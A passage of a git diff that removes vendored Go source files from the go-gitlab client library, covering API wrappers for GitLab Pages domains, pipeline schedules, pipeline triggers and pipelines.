UpdateSettingsForProject(pid interface{}, opt *NotificationSettingsOptions, options ...RequestOptionFunc) (*NotificationSettings, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/notification_settings", pathEscape(project)) - - req, err := s.client.NewRequest("PUT", u, opt, options) - if err != nil { - return nil, nil, err - } - - ns := new(NotificationSettings) - resp, err := s.client.Do(req, ns) - if err != nil { - return nil, resp, err - } - - return ns, resp, err -} diff --git a/vendor/github.com/xanzy/go-gitlab/pages_domains.go b/vendor/github.com/xanzy/go-gitlab/pages_domains.go deleted file mode 100644 index fea9910c87..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/pages_domains.go +++ /dev/null @@ -1,196 +0,0 @@ -package gitlab - -import ( - "fmt" - "time" -) - -// PagesDomainsService handles communication with the pages domains -// related methods of the GitLab API. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/pages_domains.html -type PagesDomainsService struct { - client *Client -} - -// PagesDomain represents a pages domain. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/pages_domains.html -type PagesDomain struct { - Domain string `json:"domain"` - AutoSslEnabled bool `json:"auto_ssl_enabled"` - URL string `json:"url"` - ProjectID int `json:"project_id"` - Verified bool `json:"verified"` - VerificationCode string `json:"verification_code"` - EnabledUntil *time.Time `json:"enabled_until"` - Certificate struct { - Expired bool `json:"expired"` - Expiration *time.Time `json:"expiration"` - } `json:"certificate"` -} - -// ListPagesDomainsOptions represents the available ListPagesDomains() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/pages_domains.html#list-pages-domains -type ListPagesDomainsOptions ListOptions - -// ListPagesDomains gets a list of project pages domains. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/pages_domains.html#list-pages-domains -func (s *PagesDomainsService) ListPagesDomains(pid interface{}, opt *ListPagesDomainsOptions, options ...RequestOptionFunc) ([]*PagesDomain, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/pages/domains", pathEscape(project)) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var pd []*PagesDomain - resp, err := s.client.Do(req, &pd) - if err != nil { - return nil, resp, err - } - - return pd, resp, err -} - -// ListAllPagesDomains gets a list of all pages domains. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/pages_domains.html#list-all-pages-domains -func (s *PagesDomainsService) ListAllPagesDomains(options ...RequestOptionFunc) ([]*PagesDomain, *Response, error) { - req, err := s.client.NewRequest("GET", "pages/domains", nil, options) - if err != nil { - return nil, nil, err - } - - var pd []*PagesDomain - resp, err := s.client.Do(req, &pd) - if err != nil { - return nil, resp, err - } - - return pd, resp, err -} - -// GetPagesDomain get a specific pages domain for a project. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/pages_domains.html#single-pages-domain -func (s *PagesDomainsService) GetPagesDomain(pid interface{}, domain string, options ...RequestOptionFunc) (*PagesDomain, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/pages/domains/%s", pathEscape(project), domain) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - pd := new(PagesDomain) - resp, err := s.client.Do(req, pd) - if err != nil { - return nil, resp, err - } - - return pd, resp, err -} - -// CreatePagesDomainOptions represents the available CreatePagesDomain() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/pages_domains.html#create-new-pages-domain -type CreatePagesDomainOptions struct { - Domain *string `url:"domain,omitempty" json:"domain,omitempty"` - AutoSslEnabled *bool `url:"auto_ssl_enabled,omitempty" json:"auto_ssl_enabled,omitempty"` - Certificate *string `url:"certifiate,omitempty" json:"certifiate,omitempty"` - Key *string `url:"key,omitempty" json:"key,omitempty"` -} - -// CreatePagesDomain creates a new project pages domain. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/pages_domains.html#create-new-pages-domain -func (s *PagesDomainsService) CreatePagesDomain(pid interface{}, opt *CreatePagesDomainOptions, options ...RequestOptionFunc) (*PagesDomain, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/pages/domains", pathEscape(project)) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - pd := new(PagesDomain) - resp, err := s.client.Do(req, pd) - if err != nil { - return nil, resp, err - } - - return pd, resp, err -} - -// UpdatePagesDomainOptions represents the available UpdatePagesDomain() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/pages_domains.html#update-pages-domain -type UpdatePagesDomainOptions struct { - AutoSslEnabled *bool `url:"auto_ssl_enabled,omitempty" json:"auto_ssl_enabled,omitempty"` - Certificate *string `url:"certifiate,omitempty" json:"certifiate,omitempty"` - Key *string `url:"key,omitempty" json:"key,omitempty"` -} - -// UpdatePagesDomain updates an existing project pages domain. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/pages_domains.html#update-pages-domain -func (s *PagesDomainsService) UpdatePagesDomain(pid interface{}, domain string, opt *UpdatePagesDomainOptions, options ...RequestOptionFunc) (*PagesDomain, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/pages/domains/%s", pathEscape(project), domain) - - req, err := s.client.NewRequest("PUT", u, opt, options) - if err != nil { - return nil, nil, err - } - - pd := new(PagesDomain) - resp, err := s.client.Do(req, pd) - if err != nil { - return nil, resp, err - } - - return pd, resp, err -} - -// DeletePagesDomain deletes an existing prject pages domain. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/pages_domains.html#delete-pages-domain -func (s *PagesDomainsService) DeletePagesDomain(pid interface{}, domain string, options ...RequestOptionFunc) (*Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("projects/%s/pages/domains/%s", pathEscape(project), domain) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} diff --git a/vendor/github.com/xanzy/go-gitlab/pipeline_schedules.go b/vendor/github.com/xanzy/go-gitlab/pipeline_schedules.go deleted file mode 100644 index b9eaa53522..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/pipeline_schedules.go +++ /dev/null @@ -1,327 +0,0 @@ -// -// Copyright 2018, Sander van Harmelen -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// - -package gitlab - -import ( - "fmt" - "time" -) - -// PipelineSchedulesService handles communication with the pipeline -// schedules related methods of the GitLab API. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/pipeline_schedules.html -type PipelineSchedulesService struct { - client *Client -} - -// PipelineSchedule represents a pipeline schedule. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/pipeline_schedules.html -type PipelineSchedule struct { - ID int `json:"id"` - Description string `json:"description"` - Ref string `json:"ref"` - Cron string `json:"cron"` - CronTimezone string `json:"cron_timezone"` - NextRunAt *time.Time `json:"next_run_at"` - Active bool `json:"active"` - CreatedAt *time.Time `json:"created_at"` - UpdatedAt *time.Time `json:"updated_at"` - Owner *User `json:"owner"` - LastPipeline struct { - ID int `json:"id"` - SHA string `json:"sha"` - Ref string `json:"ref"` - Status string `json:"status"` - } `json:"last_pipeline"` - Variables []*PipelineVariable `json:"variables"` -} - -// ListPipelineSchedulesOptions represents the available ListPipelineTriggers() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/pipeline_triggers.html#list-project-triggers -type ListPipelineSchedulesOptions ListOptions - -// ListPipelineSchedules gets a list of project triggers. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/pipeline_schedules.html -func (s *PipelineSchedulesService) ListPipelineSchedules(pid interface{}, opt *ListPipelineSchedulesOptions, options ...RequestOptionFunc) ([]*PipelineSchedule, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/pipeline_schedules", pathEscape(project)) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var ps []*PipelineSchedule - resp, err := s.client.Do(req, &ps) - if err != nil { - return nil, resp, err - } - - return ps, resp, err -} - -// GetPipelineSchedule gets a pipeline schedule. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/pipeline_schedules.html -func (s *PipelineSchedulesService) GetPipelineSchedule(pid interface{}, schedule int, options ...RequestOptionFunc) (*PipelineSchedule, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/pipeline_schedules/%d", pathEscape(project), schedule) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - p := new(PipelineSchedule) - resp, err := s.client.Do(req, p) - if err != nil { - return nil, resp, err - } - - return p, resp, err -} - -// CreatePipelineScheduleOptions represents the available -// CreatePipelineSchedule() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/pipeline_schedules.html#create-a-new-pipeline-schedule -type CreatePipelineScheduleOptions struct { - Description *string `url:"description" json:"description"` - Ref *string `url:"ref" json:"ref"` - Cron *string `url:"cron" json:"cron"` - CronTimezone *string `url:"cron_timezone,omitempty" json:"cron_timezone,omitempty"` - Active *bool `url:"active,omitempty" json:"active,omitempty"` -} - -// CreatePipelineSchedule creates a pipeline schedule. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/pipeline_schedules.html#create-a-new-pipeline-schedule -func (s *PipelineSchedulesService) CreatePipelineSchedule(pid interface{}, opt *CreatePipelineScheduleOptions, options ...RequestOptionFunc) (*PipelineSchedule, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/pipeline_schedules", pathEscape(project)) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - p := new(PipelineSchedule) - resp, err := s.client.Do(req, p) - if err != nil { - return nil, resp, err - } - - return p, resp, err -} - -// EditPipelineScheduleOptions represents the available -// EditPipelineSchedule() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/pipeline_schedules.html#create-a-new-pipeline-schedule -type EditPipelineScheduleOptions struct { - Description *string `url:"description,omitempty" json:"description,omitempty"` - Ref *string `url:"ref,omitempty" json:"ref,omitempty"` - Cron *string `url:"cron,omitempty" json:"cron,omitempty"` - CronTimezone *string `url:"cron_timezone,omitempty" json:"cron_timezone,omitempty"` - Active *bool `url:"active,omitempty" json:"active,omitempty"` -} - -// EditPipelineSchedule edits a pipeline schedule. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/pipeline_schedules.html#edit-a-pipeline-schedule -func (s *PipelineSchedulesService) EditPipelineSchedule(pid interface{}, schedule int, opt *EditPipelineScheduleOptions, options ...RequestOptionFunc) (*PipelineSchedule, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/pipeline_schedules/%d", pathEscape(project), schedule) - - req, err := s.client.NewRequest("PUT", u, opt, options) - if err != nil { - return nil, nil, err - } - - p := new(PipelineSchedule) - resp, err := s.client.Do(req, p) - if err != nil { - return nil, resp, err - } - - return p, resp, err -} - -// TakeOwnershipOfPipelineSchedule sets the owner of the specified -// pipeline schedule to the user issuing the request. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/pipeline_schedules.html#take-ownership-of-a-pipeline-schedule -func (s *PipelineSchedulesService) TakeOwnershipOfPipelineSchedule(pid interface{}, schedule int, options ...RequestOptionFunc) (*PipelineSchedule, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/pipeline_schedules/%d/take_ownership", pathEscape(project), schedule) - - req, err := s.client.NewRequest("POST", u, nil, options) - if err != nil { - return nil, nil, err - } - - p := new(PipelineSchedule) - resp, err := s.client.Do(req, p) - if err != nil { - return nil, resp, err - } - - return p, resp, err -} - -// DeletePipelineSchedule deletes a pipeline schedule. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/pipeline_schedules.html#delete-a-pipeline-schedule -func (s *PipelineSchedulesService) DeletePipelineSchedule(pid interface{}, schedule int, options ...RequestOptionFunc) (*Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("projects/%s/pipeline_schedules/%d", pathEscape(project), schedule) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} - -// CreatePipelineScheduleVariableOptions represents the available -// CreatePipelineScheduleVariable() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/pipeline_schedules.html#create-a-new-pipeline-schedule -type CreatePipelineScheduleVariableOptions struct { - Key *string `url:"key" json:"key"` - Value *string `url:"value" json:"value"` - VariableType *string `url:"variable_type,omitempty" json:"variable_type,omitempty"` -} - -// CreatePipelineScheduleVariable creates a pipeline schedule variable. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/pipeline_schedules.html#create-a-new-pipeline-schedule -func (s *PipelineSchedulesService) CreatePipelineScheduleVariable(pid interface{}, schedule int, opt *CreatePipelineScheduleVariableOptions, options ...RequestOptionFunc) (*PipelineVariable, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/pipeline_schedules/%d/variables", pathEscape(project), schedule) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - p := new(PipelineVariable) - resp, err := s.client.Do(req, p) - if err != nil { - return nil, resp, err - } - - return p, resp, err -} - -// EditPipelineScheduleVariableOptions represents the available -// EditPipelineScheduleVariable() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/pipeline_schedules.html#edit-a-pipeline-schedule-variable -type EditPipelineScheduleVariableOptions struct { - Value *string `url:"value" json:"value"` - VariableType *string `url:"variable_type,omitempty" json:"variable_type,omitempty"` -} - -// EditPipelineScheduleVariable creates a pipeline schedule variable. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/pipeline_schedules.html#edit-a-pipeline-schedule-variable -func (s *PipelineSchedulesService) EditPipelineScheduleVariable(pid interface{}, schedule int, key string, opt *EditPipelineScheduleVariableOptions, options ...RequestOptionFunc) (*PipelineVariable, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/pipeline_schedules/%d/variables/%s", pathEscape(project), schedule, key) - - req, err := s.client.NewRequest("PUT", u, opt, options) - if err != nil { - return nil, nil, err - } - - p := new(PipelineVariable) - resp, err := s.client.Do(req, p) - if err != nil { - return nil, resp, err - } - - return p, resp, err -} - -// DeletePipelineScheduleVariable creates a pipeline schedule variable. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/pipeline_schedules.html#delete-a-pipeline-schedule-variable -func (s *PipelineSchedulesService) DeletePipelineScheduleVariable(pid interface{}, schedule int, key string, options ...RequestOptionFunc) (*PipelineVariable, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/pipeline_schedules/%d/variables/%s", pathEscape(project), schedule, key) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, nil, err - } - - p := new(PipelineVariable) - resp, err := s.client.Do(req, p) - if err != nil { - return nil, resp, err - } - - return p, resp, err -} diff --git a/vendor/github.com/xanzy/go-gitlab/pipeline_triggers.go b/vendor/github.com/xanzy/go-gitlab/pipeline_triggers.go deleted file mode 100644 index 999025aa2d..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/pipeline_triggers.go +++ /dev/null @@ -1,231 +0,0 @@ -package gitlab - -import ( - "fmt" - "time" -) - -// PipelineTriggersService handles Project pipeline triggers. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/pipeline_triggers.html -type PipelineTriggersService struct { - client *Client -} - -// PipelineTrigger represents a project pipeline trigger. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/pipeline_triggers.html#pipeline-triggers -type PipelineTrigger struct { - ID int `json:"id"` - Description string `json:"description"` - CreatedAt *time.Time `json:"created_at"` - DeletedAt *time.Time `json:"deleted_at"` - LastUsed *time.Time `json:"last_used"` - Token string `json:"token"` - UpdatedAt *time.Time `json:"updated_at"` - Owner *User `json:"owner"` -} - -// ListPipelineTriggersOptions represents the available ListPipelineTriggers() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/pipeline_triggers.html#list-project-triggers -type ListPipelineTriggersOptions ListOptions - -// ListPipelineTriggers gets a list of project triggers. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/pipeline_triggers.html#list-project-triggers -func (s *PipelineTriggersService) ListPipelineTriggers(pid interface{}, opt *ListPipelineTriggersOptions, options ...RequestOptionFunc) ([]*PipelineTrigger, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/triggers", pathEscape(project)) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var pt []*PipelineTrigger - resp, err := s.client.Do(req, &pt) - if err != nil { - return nil, resp, err - } - - return pt, resp, err -} - -// GetPipelineTrigger gets a specific pipeline trigger for a project. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/pipeline_triggers.html#get-trigger-details -func (s *PipelineTriggersService) GetPipelineTrigger(pid interface{}, trigger int, options ...RequestOptionFunc) (*PipelineTrigger, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/triggers/%d", pathEscape(project), trigger) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - pt := new(PipelineTrigger) - resp, err := s.client.Do(req, pt) - if err != nil { - return nil, resp, err - } - - return pt, resp, err -} - -// AddPipelineTriggerOptions represents the available AddPipelineTrigger() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/pipeline_triggers.html#create-a-project-trigger -type AddPipelineTriggerOptions struct { - Description *string `url:"description,omitempty" json:"description,omitempty"` -} - -// AddPipelineTrigger adds a pipeline trigger to a specified project. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/pipeline_triggers.html#create-a-project-trigger -func (s *PipelineTriggersService) AddPipelineTrigger(pid interface{}, opt *AddPipelineTriggerOptions, options ...RequestOptionFunc) (*PipelineTrigger, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/triggers", pathEscape(project)) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - pt := new(PipelineTrigger) - resp, err := s.client.Do(req, pt) - if err != nil { - return nil, resp, err - } - - return pt, resp, err -} - -// EditPipelineTriggerOptions represents the available EditPipelineTrigger() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/pipeline_triggers.html#update-a-project-trigger -type EditPipelineTriggerOptions struct { - Description *string `url:"description,omitempty" json:"description,omitempty"` -} - -// EditPipelineTrigger edits a trigger for a specified project. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/pipeline_triggers.html#update-a-project-trigger -func (s *PipelineTriggersService) EditPipelineTrigger(pid interface{}, trigger int, opt *EditPipelineTriggerOptions, options ...RequestOptionFunc) (*PipelineTrigger, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/triggers/%d", pathEscape(project), trigger) - - req, err := s.client.NewRequest("PUT", u, opt, options) - if err != nil { - return nil, nil, err - } - - pt := new(PipelineTrigger) - resp, err := s.client.Do(req, pt) - if err != nil { - return nil, resp, err - } - - return pt, resp, err -} - -// TakeOwnershipOfPipelineTrigger sets the owner of the specified -// pipeline trigger to the user issuing the request. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/pipeline_triggers.html#take-ownership-of-a-project-trigger -func (s *PipelineTriggersService) TakeOwnershipOfPipelineTrigger(pid interface{}, trigger int, options ...RequestOptionFunc) (*PipelineTrigger, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/triggers/%d/take_ownership", pathEscape(project), trigger) - - req, err := s.client.NewRequest("POST", u, nil, options) - if err != nil { - return nil, nil, err - } - - pt := new(PipelineTrigger) - resp, err := s.client.Do(req, pt) - if err != nil { - return nil, resp, err - } - - return pt, resp, err -} - -// DeletePipelineTrigger removes a trigger from a project. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/pipeline_triggers.html#remove-a-project-trigger -func (s *PipelineTriggersService) DeletePipelineTrigger(pid interface{}, trigger int, options ...RequestOptionFunc) (*Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("projects/%s/triggers/%d", pathEscape(project), trigger) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} - -// RunPipelineTriggerOptions represents the available RunPipelineTrigger() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/ci/triggers/README.html#triggering-a-pipeline -type RunPipelineTriggerOptions struct { - Ref *string `url:"ref" json:"ref"` - Token *string `url:"token" json:"token"` - Variables map[string]string `url:"variables,omitempty" json:"variables,omitempty"` -} - -// RunPipelineTrigger starts a trigger from a project. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/ci/triggers/README.html#triggering-a-pipeline -func (s *PipelineTriggersService) RunPipelineTrigger(pid interface{}, opt *RunPipelineTriggerOptions, options ...RequestOptionFunc) (*Pipeline, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/trigger/pipeline", pathEscape(project)) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - pt := new(Pipeline) - resp, err := s.client.Do(req, pt) - if err != nil { - return nil, resp, err - } - - return pt, resp, err -} diff --git a/vendor/github.com/xanzy/go-gitlab/pipelines.go b/vendor/github.com/xanzy/go-gitlab/pipelines.go deleted file mode 100644 index 5ab5fe1bfd..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/pipelines.go +++ /dev/null @@ -1,288 +0,0 @@ -// -// Copyright 2017, Igor Varavko -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// - -package gitlab - -import ( - "fmt" - "time" -) - -// PipelinesService handles communication with the repositories related -// methods of the GitLab API. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/pipelines.html -type PipelinesService struct { - client *Client -} - -// PipelineVariable represents a pipeline variable. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/pipelines.html -type PipelineVariable struct { - Key string `json:"key"` - Value string `json:"value"` - VariableType string `json:"variable_type"` -} - -// Pipeline represents a GitLab pipeline. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/pipelines.html -type Pipeline struct { - ID int `json:"id"` - Status string `json:"status"` - Ref string `json:"ref"` - SHA string `json:"sha"` - BeforeSHA string `json:"before_sha"` - Tag bool `json:"tag"` - YamlErrors string `json:"yaml_errors"` - User *BasicUser `json:"user"` - UpdatedAt *time.Time `json:"updated_at"` - CreatedAt *time.Time `json:"created_at"` - StartedAt *time.Time `json:"started_at"` - FinishedAt *time.Time `json:"finished_at"` - CommittedAt *time.Time `json:"committed_at"` - Duration int `json:"duration"` - Coverage string `json:"coverage"` - WebURL string `json:"web_url"` - DetailedStatus *DetailedStatus `json:"detailed_status"` -} - -// DetailedStatus contains detailed information about the status of a pipeline -type DetailedStatus struct { - Icon string `json:"icon"` - Text string `json:"text"` - Label string `json:"label"` - Group string `json:"group"` - Tooltip string `json:"tooltip"` - HasDetails bool `json:"has_details"` - DetailsPath string `json:"details_path"` - Illustration struct { - Image string `json:"image"` - } `json:"illustration"` - Favicon string `json:"favicon"` -} - -func (p Pipeline) String() string { - return Stringify(p) -} - -// PipelineInfo shows the basic entities of a pipeline, mostly used as fields -// on other assets, like Commit. -type PipelineInfo struct { - ID int `json:"id"` - Status string `json:"status"` - Ref string `json:"ref"` - SHA string `json:"sha"` - WebURL string `json:"web_url"` - UpdatedAt *time.Time `json:"updated_at"` - CreatedAt *time.Time `json:"created_at"` -} - -func (p PipelineInfo) String() string { - return Stringify(p) -} - -// ListProjectPipelinesOptions represents the available ListProjectPipelines() options. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/pipelines.html#list-project-pipelines -type ListProjectPipelinesOptions struct { - ListOptions - Scope *string `url:"scope,omitempty" json:"scope,omitempty"` - Status *BuildStateValue `url:"status,omitempty" json:"status,omitempty"` - Ref *string `url:"ref,omitempty" json:"ref,omitempty"` - SHA *string `url:"sha,omitempty" json:"sha,omitempty"` - YamlErrors *bool `url:"yaml_errors,omitempty" json:"yaml_errors,omitempty"` - Name *string `url:"name,omitempty" json:"name,omitempty"` - Username *string `url:"username,omitempty" json:"username,omitempty"` - UpdatedAfter *time.Time `url:"updated_after,omitempty" json:"updated_after,omitempty"` - UpdatedBefore *time.Time `url:"updated_before,omitempty" json:"updated_before,omitempty"` - OrderBy *string `url:"order_by,omitempty" json:"order_by,omitempty"` - Sort *string `url:"sort,omitempty" json:"sort,omitempty"` -} - -// ListProjectPipelines gets a list of project piplines. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/pipelines.html#list-project-pipelines -func (s *PipelinesService) ListProjectPipelines(pid interface{}, opt *ListProjectPipelinesOptions, options ...RequestOptionFunc) ([]*PipelineInfo, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/pipelines", pathEscape(project)) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var p []*PipelineInfo - resp, err := s.client.Do(req, &p) - if err != nil { - return nil, resp, err - } - - return p, resp, err -} - -// GetPipeline gets a single project pipeline. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/pipelines.html#get-a-single-pipeline -func (s *PipelinesService) GetPipeline(pid interface{}, pipeline int, options ...RequestOptionFunc) (*Pipeline, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/pipelines/%d", pathEscape(project), pipeline) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - p := new(Pipeline) - resp, err := s.client.Do(req, p) - if err != nil { - return nil, resp, err - } - - return p, resp, err -} - -// GetPipelineVariables gets the variables of a single project pipeline. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/pipelines.html#get-variables-of-a-pipeline -func (s *PipelinesService) GetPipelineVariables(pid interface{}, pipeline int, options ...RequestOptionFunc) ([]*PipelineVariable, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/pipelines/%d/variables", pathEscape(project), pipeline) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - var p []*PipelineVariable - resp, err := s.client.Do(req, &p) - if err != nil { - return nil, resp, err - } - - return p, resp, err -} - -// CreatePipelineOptions represents the available CreatePipeline() options. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/pipelines.html#create-a-new-pipeline -type CreatePipelineOptions struct { - Ref *string `url:"ref" json:"ref"` - Variables []*PipelineVariable `url:"variables,omitempty" json:"variables,omitempty"` -} - -// CreatePipeline creates a new project pipeline. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/pipelines.html#create-a-new-pipeline -func (s *PipelinesService) CreatePipeline(pid interface{}, opt *CreatePipelineOptions, options ...RequestOptionFunc) (*Pipeline, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/pipeline", pathEscape(project)) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - p := new(Pipeline) - resp, err := s.client.Do(req, p) - if err != nil { - return nil, resp, err - } - - return p, resp, err -} - -// RetryPipelineBuild retries failed builds in a pipeline -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/pipelines.html#retry-failed-builds-in-a-pipeline -func (s *PipelinesService) RetryPipelineBuild(pid interface{}, pipeline int, options ...RequestOptionFunc) (*Pipeline, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/pipelines/%d/retry", pathEscape(project), pipeline) - - req, err := s.client.NewRequest("POST", u, nil, options) - if err != nil { - return nil, nil, err - } - - p := new(Pipeline) - resp, err := s.client.Do(req, p) - if err != nil { - return nil, resp, err - } - - return p, resp, err -} - -// CancelPipelineBuild cancels a pipeline builds -// -// GitLab API docs: -//https://docs.gitlab.com/ce/api/pipelines.html#cancel-a-pipelines-builds -func (s *PipelinesService) CancelPipelineBuild(pid interface{}, pipeline int, options ...RequestOptionFunc) (*Pipeline, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/pipelines/%d/cancel", pathEscape(project), pipeline) - - req, err := s.client.NewRequest("POST", u, nil, options) - if err != nil { - return nil, nil, err - } - - p := new(Pipeline) - resp, err := s.client.Do(req, p) - if err != nil { - return nil, resp, err - } - - return p, resp, err -} - -// DeletePipeline deletes an existing 